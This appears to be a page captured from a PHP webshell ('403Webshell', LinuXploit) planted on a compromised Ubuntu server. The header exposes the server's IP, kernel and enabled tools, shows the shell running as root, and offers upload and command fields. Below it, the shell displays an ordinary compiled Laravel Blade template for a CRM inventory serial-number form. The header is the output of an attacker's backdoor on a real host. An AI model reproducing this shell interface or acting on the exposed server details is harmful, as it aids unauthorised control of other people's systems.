403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/crmapp/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crmapp/storage/framework/views/53f03b7f3cfdd6adf23e356cf16d0902.php

<?php $__env->startSection('content'); ?>
<div class="container-fluid p-0">
    <h1 class="h3 mb-3">Serial Number of - <i><?php echo e($product->name); ?> Model No: <?php echo e($product->model_number); ?></i></h1>
    <div class="row">
        <div class="col-12">
            <div class="card">
                <div class="card-body">
                    <form action="<?php echo e(route('inventory.storeserial')); ?>" method="POST">
                        <?php echo csrf_field(); ?>
                        <input type="hidden" name="product_id" value="<?php echo e($product->id); ?>" />
                        <div class="row">
                            <div class="col-sm-4">
                                <div class="mb-3">
                                    <label for="serial_number" class="form-label">Serial Number</label>
                                    <input type="text" name="serial_number" class="form-control" required value="<?php echo e(old('serial_number')); ?>">
                                </div>
                            </div>

                            <div class="col-sm-4">
                                <div class="mb-3">
                                    <label for="name" class="form-label">WareHouse</label>
                                    <select name="warehouse_id" class="form-control">
                                        <option value="1">WH1-Delhi</option>
                                    </select>
                                </div>
                            </div>

                            <div class="col-sm-4">
                                <div class="mb-3">
                                    <label for="bin_id" class="form-label">Bin</label>
                                    <select name="bin_id" class="form-control">
                                        <?php for($i = 1; $i <= 50; $i++): ?>
                                        <option value="<?php echo e($i); ?>"><?php echo e($i); ?></option>
                                        <?php endfor; ?>
                                    </select>
                                    
                                </div>
                            </div>
                        </div>
                        <input type="hidden" name="status" value="in_stock" />

                        <button type="submit" class="btn btn-primary">Save Serial Number</button>
                        <a href="<?php echo e(route('inventory.products.index')); ?>" class="btn btn-secondary">Cancel</a>
                    </form>

                </div>
            </div>

            <div class="card">
                <div class="card-body">
                    <table class="table table-bordered">
                      <tr>
                          <th>Serial Number</th><th>Status</th><th>Warehouse</th><th>Bin</th><th>Actions</th>
                      </tr>
                      <?php $__currentLoopData = $serials; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $serial): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                      <tr>
                          <td><?php echo e($serial->serial_number); ?></td>
                          <td><?php echo e($serial->status); ?></td>
                          <td><?php echo e($serial->warehouse_id); ?></td>
                          <td><?php echo e($serial->bin_id); ?></td>
                          <td>
                              <a href="<?php echo e(route('inventory.serialedit',$serial->id)); ?>" class="btn btn-warning btn-sm">Edit</a>

                              <form action="<?php echo e(route('inventory.serialdelete',$serial->id)); ?>" method="POST" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this serial number?');">
                                  <?php echo csrf_field(); ?> <?php echo method_field('DELETE'); ?>
                                  <button class="btn btn-danger btn-sm">Delete</button>
                              </form>
                          </td>
                      </tr>
                      <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </table>
                </div>
            </div>
        </div>
    </div>

</div>

<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/crmapp/Modules/Inventory/Resources/views/products/serial.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit